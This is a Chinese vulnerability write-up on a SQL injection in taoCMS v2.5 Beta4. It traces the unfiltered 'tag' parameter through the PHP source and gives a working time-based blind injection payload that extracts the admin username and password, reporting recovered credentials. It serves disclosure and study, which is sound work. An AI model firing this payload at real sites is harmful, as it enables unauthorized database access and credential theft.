taoCMS是基于php+sqlite/mysql的国内最小(100Kb左右)的功能完善的CMS管理系统。
然而在其 v2.5 Beta4版本中,由于对参数过滤不严,导致产生了sql注入漏洞。
漏洞存在于/include/Model/Index.php中
/include/Model/Index.php:
```
...27行
//网站信息常用变量
$webname=Base::magic2word(WEBNAME);
$webinfo=Base::magic2word(WEBINFO);
$weburl=Base::magic2word(WEBURL);
$announce=Base::magic2word(ANNOUNCE);
$tag=Base::magic2word(isset($_GET['tag'])?$_GET['tag']:null);
```
首先,我们可以看到$tag参数,从GET中,然后经过了magic2word()函数的处理,我们跟进一下这个函数:
/include/Model/Base.php:
```
...216行
static function magic2word($text){
if (is_array($text)) {
foreach($text as $k=>$v){
$text[$k]=self::magic2word($v);
}
}else{
$text=stripslashes($text);
}
return $text;
}
```
对$tag变量进行了stripslashes(),去掉了魔法引号。
我们继续看看$tag变量经过magic2word()处理之后,去了哪里:
/include/Model/Index.php:
```
...42行
if($tag){
//标签页
$tagdata=self::$_db->get_one(TB.'relations',"name='".$tag."'","id",1) or Base::sendheader(404);
$totaldata=self::$_db->get_one(TB.'relatocms','relid='.$tagdata['id'],'count(*) as num');
```
$tag直接被拼接到了sql语句之中,我们跟进一下get_one()函数
/include/Db/Mysql.php:
```
...101行
function get_one($table,$wheres = "1=1", $colums = '*',$limits = '1',$orderbys="id DESC"){
$sql="select ".$colums." from ".$table." where ".$wheres." ORDER BY ".$orderbys." limit ".$limits;
$query = $this->query($sql,$type,$expires,$dbname);
$rs = Base::magic2word($this->fetch_array($query));
$this->free_result($query);
return $rs ;
}
```
带入了查询。也就是说$tag变量从GET中获取之后,没有成功进行(魔法引号被去掉了)任何有效过滤,就被带入了sql语句之中,这也就导致了sql注入漏洞的产生。
漏洞证明:
1.首先,我们访问一个正常的标签页面,观察下sql查询语句:
http://192.168.227.129/1/index.php?tag=13

查看一下sql查询历史:

这是正常情况下的sql查询语句:
```
select id from cms_relations where name='13' ORDER BY id DESC limit 1
```
2.然后,我们需要构造我们的注入语句,由于此注入点,并没有显示的位置,所以我们这里要使用基于时间的盲注:
首先,猜管理员用户名:
若管理员用户名第一个字母为a,则产生时间延迟。
```
union select if(substring(name,1,1)='a',benchmark(10000000,sha(1)),0) from cms_admin where id = '2'%23
```

按照此原理,逐位猜解管理员用户名,密码:(建议使用python盲注脚本,手工太慢)
最终得到:
用户名:admin
密码:tao
TaoCMS v2.5 Beta4源码地址:
http://mydown.yesky.com/soft/474/33491974_more.shtml
漏洞修补方案:
对一切来自用户的数据进行有效过滤!
暂无官方解决方案
暂无防护解决方案
登录 后才能发表评论
※ 本站提供的任何内容仅供学习代码和服务,不得用于非法用途
暂无评论